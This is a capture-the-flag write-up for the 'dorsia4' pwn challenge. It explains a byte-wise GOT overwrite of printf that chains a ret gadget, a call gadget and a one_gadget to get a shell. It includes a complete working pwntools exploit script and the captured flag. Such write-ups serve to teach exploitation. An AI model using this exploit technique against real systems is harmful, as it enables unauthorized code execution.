Select Page

dorsia4 (400pt PWN, 5 Solves), author: @awg

#include<stdio.h>
#include<stdlib.h>

char a[69];
int i, d;

void
main()
{
    char b[69] = {0};
    for(;;) {
        printf("%p giv i b\n", system+765772);
        scanf("%i %x", &i, &d);
        if (i>69)
            break;
        a[i] = d;
    }
}
gdb-peda$ checksec
CANARY :  disabled
FORTIFY : disabled
NX :      ENABLED
PIE :     ENABLED
RELRO :   Partial

An obvious write-what-where, one byte at a time.

The char array a[] is at the .bss section of the binary, starting from offset 0x4080.

I read from the man page of scanf():

i Matches an optionally signed integer; the next pointer must be a pointer to int. The integer is read in base 16 if it begins with 0x or 0X, in base 8 if it begins with 0, and in base 10 otherwise. Only characters that correspond to the base are used.

This means we could put negative values into i. Since it’s partial RELRO, one natural target to overwrite is the .got.plt section.

We still need scanf() to receive our payload, so we change the GOT value of printf() instead. In the given libc (libc6_2.27-3ubuntu1_amd64), printf() is at offset 0x064e80.

After bunching my head against the wall for a few hours, I found this interesting gadget at offset 0x6576b: call qword [rdx + rax*8]. How is it useful? Take a look at the disassembly of the for loop body:

 0x000000000000119c <+83>:  mov rax,QWORD PTR [rip+0x2e35] # 0x3fd8
0x00000000000011a3 <+90>:  lea rax,[rax+0xbaf4c]
0x00000000000011aa <+97>:  mov rsi,rax
0x00000000000011ad <+100>: lea rdi,[rip+0xe50] # 0x2004
0x00000000000011b4 <+107>: mov eax,0x0
0x00000000000011b9 <+112>: call 0x1030 <printf@plt>
0x00000000000011be <+117>: lea rdx,[rip+0x2e9b] # 0x4060 <d>
0x00000000000011c5 <+124>: lea rsi,[rip+0x2efc] # 0x40c8 <i>
0x00000000000011cc <+131>: lea rdi,[rip+0xe3d] # 0x2010
0x00000000000011d3 <+138>: mov eax,0x0
0x00000000000011d8 <+143>: call 0x1040 <__isoc99_scanf@plt>
0x00000000000011dd <+148>: mov eax,DWORD PTR [rip+0x2ee5] # 0x40c8 <i>
0x00000000000011e3 <+154>: cmp eax,0x45
0x00000000000011e6 <+157>: jg 0x1204 <main+187>
0x00000000000011e8 <+159>: mov edx,DWORD PTR [rip+0x2e72] # 0x4060 <d>
0x00000000000011ee <+165>: mov eax,DWORD PTR [rip+0x2ed4] # 0x40c8 <i>
0x00000000000011f4 <+171>: mov ecx,edx
0x00000000000011f6 <+173>: cdqe
0x00000000000011f8 <+175>: lea rdx,[rip+0x2e81] # 0x4080 <a>
0x00000000000011ff <+182>: mov BYTE PTR [rax+rdx*1],cl
0x0000000000001202 <+185>: jmp 0x119c <main+83>

Whenever the gadget is used (namely whenever we reach printf()), %rdx will contain the address of array a[], and %rax will be zero. This means, if we write some address at the beginning of a[], then call qword [rdx + rax*8] allows us to call whatever addresses we want!

One remaining trouble though: printf() is at offset 0x064e80, the call gadget is at 0x6576b, we need to change two bytes, one byte at a time (ASLR is on, for simplicity we consider no carrying between bytes, which we will take care of in the script). I have to first change 0x064e80 to either 0x064e6b or 0x065780. This can cause trouble if they point at weird locations, remember after each time we modify one byte, that modified address will be called in the for loop.

And here’s the black magic of it:

0x064e6b points at a ret instruction! This means we can safely let it to be called without worrying about it will crash or whatsoever.

Here’s the plan, we:

1) Write the address of one_gadget to the first 8 bytes of a[];

2) Change the GOT entry of printf() to point at ret gadget at offset 0x064e6b;

3) Change it again to point at call qword [rdx + rax*8].

But when I finished my exploit and ran it locally, it caused a SIGABORT. After some debugging I figured out it was because that one_gadget given to us requires [rsp+0x70] to be zero, which was not the case.

So instead I used another one_gadget at offset 0x4f322, requiring [rsp+0x40] to be zero, which was the case, since it points into b[69] on the stack, initialized to all zeroes.

Finally, here’s a working script:

from pwn import *

context.log_level = "DEBUG"

LOCAL = False
DEBUG = False

e = ELF("./nanowrite")
l = ELF("./libc.so.6")

if LOCAL:
    p = process(e.path)
else:
    host = "dorsia4.wpictf.xyz"
    port = 31339
    p = remote(host, port)

if DEBUG:
    context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p, "b *0x00005555555551b9")  # call to printf

leak = p.recvline()
bad_one_gadget_addr = int(leak.split(b" ")[0], 16)
system_addr = bad_one_gadget_addr - 765772
libc_base_addr = system_addr - l.symbols["system"]

real_one_gadget_addr = libc_base_addr + 0x4f322

success("libc base address: {0}".format(hex(libc_base_addr)))

def nanowrite(what, where):
    payload  = str(where).encode()
    payload += b' '
    payload += hex(what).encode()
    success("Sending {0} to a[] {1}".format(hex(what), hex(where)))
    p.sendline(payload)

offset = e.got["printf"] - e.symbols["a"]
libc_printf_addr = libc_base_addr + l.symbols["printf"]

def write_one_gadget():
    o1 = real_one_gadget_addr & 0xff                    # lowest
    o2 = (real_one_gadget_addr & 0xff00) >> 8
    o3 = (real_one_gadget_addr & 0xffff00) >> 16
    o4 = (real_one_gadget_addr & 0xffffff00) >> 24
    o5 = (real_one_gadget_addr & 0xffffffff00) >> 32
    o6 = (real_one_gadget_addr & 0xffffffffff00) >> 40  # highest
    
    log.info("Writing address of one_gadget to a[]")
    if DEBUG:
        input()
    
    nanowrite(o1, 0)
    p.recvline()
    nanowrite(o2, 1)
    p.recvline()
    nanowrite(o3, 2)
    p.recvline()
    nanowrite(o4, 3)
    p.recvline()
    nanowrite(o5, 4)
    p.recvline()
    nanowrite(o6, 5)
    p.recvline()
    
def change_first_byte():
    # from 0x06 4e 80
    # to   0x06 4e 6b
    now = libc_printf_addr
    
    what = 0x6b
    where = offset

    nanowrite(what, where)

def change_second_byte():
    # from 0x06 4e 6b
    # to   0x06 57 6b
    now = libc_base_addr + 0x064e6b
    
    what = ((libc_base_addr + 0x06576b) & 0xff00) >> 8
    where = offset + 1

    assert(((now & 0xff00) >> 8) + (0x57 - 0x4e) <= 0xff)
    nanowrite(what, where)

if __name__ == "__main__":
    write_one_gadget()
    
    log.info("Changing printf() to ret gadget")
    if DEBUG:
        input()
    change_first_byte()
    
    log.info("Changing ret gadget to call gadget")
    if DEBUG:
        input()
    change_second_byte()

    p.interactive()

You may need to run it a couple of times to pass that assertion.

[*] Switching to interactive mode
$ whoami
ctf
$ ls
flag.txt
nanowrite
run_problem.sh
$ cat flag.txt
WPI{D0_you_like_Hu3y_Lew1s_&_the_News?}

Thanks @awg again for creating this interesting challenge!